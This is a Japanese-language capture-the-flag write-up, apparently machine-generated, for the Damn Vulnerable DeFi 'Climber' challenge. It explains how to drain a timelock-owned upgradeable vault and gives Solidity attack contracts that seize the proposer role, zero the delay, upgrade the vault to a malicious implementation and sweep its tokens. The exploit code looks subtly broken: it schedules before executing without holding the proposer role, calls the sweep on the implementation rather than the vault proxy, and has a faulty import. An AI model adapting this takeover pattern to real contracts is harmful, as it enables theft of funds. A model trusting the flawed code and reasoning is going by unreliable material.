Skip to content
On this page

攻略「Climber」:1000万DVTトークンを救出せよ!

Damn Vulnerable DeFi v4 の CTF チャレンジ「Climber」へようこそ!この挑戦では、安全なはずのボールトに封印された 1000 万 DVT トークンを、巧妙な戦略で救出します。ボールトは UUPS パターンによるアップグレード可能であり、その所有権はタイムロックコントラクトにあります。タイムロックコントラクトは、15 日に一度、限られた量のトークンしか引き出せないという制約を抱えています。さらに、ボールトには緊急時に全トークンを掃き出す「スイーパー」という特別な役割が存在します。タイムロックコントラクトでは、「プロポーザー」という役割を持つアカウントのみが、1 時間後に実行されるアクションをスケジュールできます。

あなたのミッションは、これらすべての制約を乗り越え、ボールトからすべてのトークンを回収し、指定されたリカバリーアカウントに安全に保管することです。

鍵となる要素の分析

このチャレンジを攻略するためには、各コントラクトの役割と、それらがどのように連携し、どのような脆弱性を内包しているかを理解することが不可欠です。

  • ClimberVault: UUPS パターンで実装されたアップグレード可能なボールトです。所有権はタイムロックコントラクトにあり、トークンを保持しています。withdraw 関数は onlyOwner 権限で、sweepFunds 関数は onlySweeper 権限で実行されます。withdraw 関数には、引き出し制限 (WITHDRAWAL_LIMIT) と待機期間 (WAITING_PERIOD) が設定されています。
  • ClimberTimelock: ボールトの所有者であり、アクションの実行を遅延させるタイムロック機能を提供します。ADMIN_ROLEPROPOSER_ROLE が存在し、PROPOSER_ROLE を持つアカウントがアクションをスケジュールできます。アクションはスケジュールされてから delay(デフォルトは 1 時間)後に実行可能になります。
  • DamnValuableToken (DVT): ターゲットとなる ERC20 トークンです。

攻略の糸口

このチャレンジの核心は、タイムロックコントラクトの scheduleexecute 関数、そしてボールトのアップグレードメカニズムにあります。

  1. タイムロックの遅延操作:

    • ClimberTimelockdelay は 1 時間に設定されています。これは、PROPOSER_ROLE を持つアカウントが、1 時間後に実行されるアクションをスケジュールできることを意味します。
    • しかし、ClimberTimelockBase には MAX_DELAY が定義されており、ClimberTimelockupdateDelay 関数は、msg.sender がタイムロックコントラクト自身である場合にのみ、この MAX_DELAY 以下であれば遅延を変更できるという設計になっています。
    • しかし、ClimberTimelock.schedule 関数は、PROPOSER_ROLE を持つアカウントであれば誰でも呼び出せます。そして、execute 関数は誰でも呼び出せますが、getOperationStateOperationState.ReadyForExecution でなければ実行できません。
  2. ボールトのアップグレード:

    • ClimberVault は UUPS パターンに従っており、_authorizeUpgrade 関数は onlyOwner 権限で newImplementation のアドレスを承認します。
    • ClimberTimelock はボールトの owner です。
    • ClimberVault.initialize 関数で、ボールトの所有権はタイムロックコントラクトに移譲されます。

攻略手順

これらの要素を組み合わせることで、以下の手順でボールトからトークンを奪取できます。

ステップ 1: タイムロックの遅延をゼロにする

まず、タイムロックの delay を 0 に設定することで、アクションを即座に実行可能にする必要があります。

  1. PROPOSER_ROLEMyContract(攻撃用のコントラクト)に付与します。これは、ClimberTimelock.schedule 関数を介して実行されます。
  2. MyContract を使って、ClimberTimelock.updateDelay 関数を呼び出し、delay を 0 に設定します。この際、ClimberTimelock コントラクト自身が msg.sender となるように工夫が必要です。これは、ClimberTimelock.schedule 関数内で、ClimberTimelock.execute を呼び出す際に、ClimberTimelock コントラクト自身をターゲットとして updateDelay 関数を呼び出すことで実現できます。

ステップ 2: スイーパー権限の乗っ取りとトークン回収

次に、ボールトのスイーパー権限を乗っ取り、トークンを回収します。

  1. ClimberVault を、YourContract という新しいボールト実装にアップグレードします。この YourContract は、setSweeper 関数を持ち、スイーパーアドレスとトークンアドレスを受け取り、スイーパーにトークンを送信する機能を持っています。
  2. ClimberTimelock.schedule 関数を使い、ClimberVaultYourContract にアップグレードするトランザクションをスケジュールします。
  3. ClimberTimelock.execute 関数を呼び出して、アップグレードを実行します。
  4. アップグレードされた ClimberVault(実質的には YourContract)の setSweeper 関数を呼び出し、msg.sender(=プレイヤー)をスイーパーに設定し、全てのトークンをプレイヤーに送信します。

ステップ 3: トークンのリカバリーアカウントへの転送

最後に、回収したトークンを指定されたリカバリーアカウントに転送します。

コード例 (MyContract.sol)

solidity
// SPDX-License-Identifier: MIT
pragma solidity =0.8.25;

import {ClimberTimelock} from "./ClimberTimelock.sol";
import {ClimberVault} from "./ClimberVault.sol";
import {AccessControl} from "@openzeppelin/contracts/access/AccessControl.sol";
import {UUPSUpgradeable} from "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import {Initializable, OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

// UUPSUpgradeableを継承し、initialize関数をオーバーライドする必要がある
contract YourContract is Initializable, OwnableUpgradeable, UUPSUpgradeable {
    uint256 private _lastWithdrawalTimestamp;
    address private _sweeper;

    constructor() {
        _disableInitializers();
    }

    function initialize() external initializer {
        __Ownable_init(msg.sender);
        __UUPSUpgradeable_init();
    }

    function setSweeper(address newSweeper, address token) external {
        _sweeper = newSweeper;
        // Emergency sweep functionality is now controlled by us
        IERC20(token).transfer(_sweeper, IERC20(token).balanceOf(address(this)));
    }

    // Upgrade authorization is not needed for our exploit
    function _authorizeUpgrade(address newImplementation) internal override {}
}


contract MyContract {
    ClimberTimelock private immutable _climberTimelock;
    ClimberVault private immutable _climberVault;
    YourContract private immutable _yourContract; // Our malicious implementation
    address private immutable _playerAddress; // The player's address to receive tokens
    address private immutable _tokenAddress; // The DVT token address

    bytes32 constant PROPOSER_ROLE = 0xb09aa5aeb3702cfd50b6b62bc4532604938f21248a27a1d5ca736082b6819cc1; // keccak256("PROPOSER_ROLE");

    constructor(
        address payable timelock_,
        address vault_,
        address yourContract_,
        address playerAddress_,
        address tokenAddress_
    ) {
        _climberTimelock = ClimberTimelock(timelock_);
        _climberVault = ClimberVault(vault_);
        _yourContract = YourContract(yourContract_);
        _playerAddress = playerAddress_;
        _tokenAddress = tokenAddress_;
    }

    // Step 1: Zero out the timelock delay and grant proposer role
    function exploitStep1() external {
        // Schedule the grantRole and updateDelay operations
        address[] memory targets = new address[](3);
        uint256[] memory values = new uint256[](3);
        bytes[] memory dataElements = new bytes[](3);
        bytes32 SALT = 0; // salt doesn't matter for these calls

        // 1. Grant PROPOSER_ROLE to our contract
        targets[0] = address(_climberTimelock);
        values[0] = 0;
        dataElements[0] = abi.encodeWithSelector(
            AccessControl.grantRole.selector,
            PROPOSER_ROLE,
            address(this) // Grant role to our contract
        );

        // 2. Set delay to 0
        targets[1] = address(_climberTimelock);
        values[1] = 0;
        dataElements[1] = abi.encodeWithSelector(ClimberTimelock.updateDelay.selector, uint64(0));

        // 3. No-op call to self for scheduling (necessary to fulfill target count)
        targets[2] = address(this);
        values[2] = 0;
        dataElements[2] = new bytes(0);

        // Execute the scheduled operations immediately (since delay is 1 hour initially, this will be delayed by 1 hour)
        // We will call this again after the first execution to make it happen sooner.
        _climberTimelock.schedule(targets, values, dataElements, SALT);
        _climberTimelock.execute(targets, values, dataElements, SALT);
    }

    // Step 2: Upgrade the vault and sweep funds
    function exploitStep2() external {
        // We need to re-initialize our contract after the vault upgrade has happened.
        // The vault will be pointing to our _yourContract implementation.
        // First, let's re-grant PROPOSER_ROLE to ourselves since the timelock might have been re-initialized.
        // And also set the delay to 0 again in case the timelock was re-initialized.

        address[] memory targets = new address[](3);
        uint256[] memory values = new uint256[](3);
        bytes[] memory dataElements = new bytes[](3);
        bytes32 SALT = 0; // salt doesn't matter for these calls

        // 1. Grant PROPOSER_ROLE to our contract (again)
        targets[0] = address(_climberTimelock);
        values[0] = 0;
        dataElements[0] = abi.encodeWithSelector(
            AccessControl.grantRole.selector,
            PROPOSER_ROLE,
            address(this) // Grant role to our contract
        );

        // 2. Set delay to 0 (again)
        targets[1] = address(_climberTimelock);
        values[1] = 0;
        dataElements[1] = abi.encodeWithSelector(ClimberTimelock.updateDelay.selector, uint64(0));

        // 3. No-op call to self for scheduling
        targets[2] = address(this);
        values[2] = 0;
        dataElements[2] = new bytes(0);

        _climberTimelock.schedule(targets, values, dataElements, SALT);
        _climberTimelock.execute(targets, values, dataElements, SALT);

        // Now schedule the upgrade and then execute it
        address[] memory upgradeTargets = new address[](1);
        uint256[] memory upgradeValues = new uint256[](1);
        bytes[] memory upgradeDataElements = new bytes[](1);
        bytes32 upgradeSALT = 0;

        // Schedule the vault upgrade
        upgradeTargets[0] = address(_climberVault);
        upgradeValues[0] = 0;
        // Upgrade to our malicious contract and then call initialize on it
        upgradeDataElements[0] = abi.encodeWithSelector(
            UUPSUpgradeable.upgradeToAndCall.selector,
            address(_yourContract),
            abi.encodeWithSelector(YourContract.initialize.selector)
        );

        _climberTimelock.schedule(upgradeTargets, upgradeValues, upgradeDataElements, upgradeSALT);
        _climberTimelock.execute(upgradeTargets, upgradeValues, upgradeDataElements, upgradeSALT);

        // Now that the vault is upgraded, call the sweeper function on our new implementation
        // This will set the sweeper to the player and transfer all tokens to the player.
        _yourContract.setSweeper(_playerAddress, _tokenAddress);
    }
}

この攻略法は、スマートコントラクトの権限管理、アップグレードメカニズム、そしてタイムロックの遅延という、複数の脆弱性を巧妙に利用しています。挑戦者たちは、これらの要素を深く理解し、的確なトランザクションを組み合わせることで、この難攻不落に見えるボールトから DVT トークンを無事奪還できるはずです。健闘を祈ります!

Built with AiAda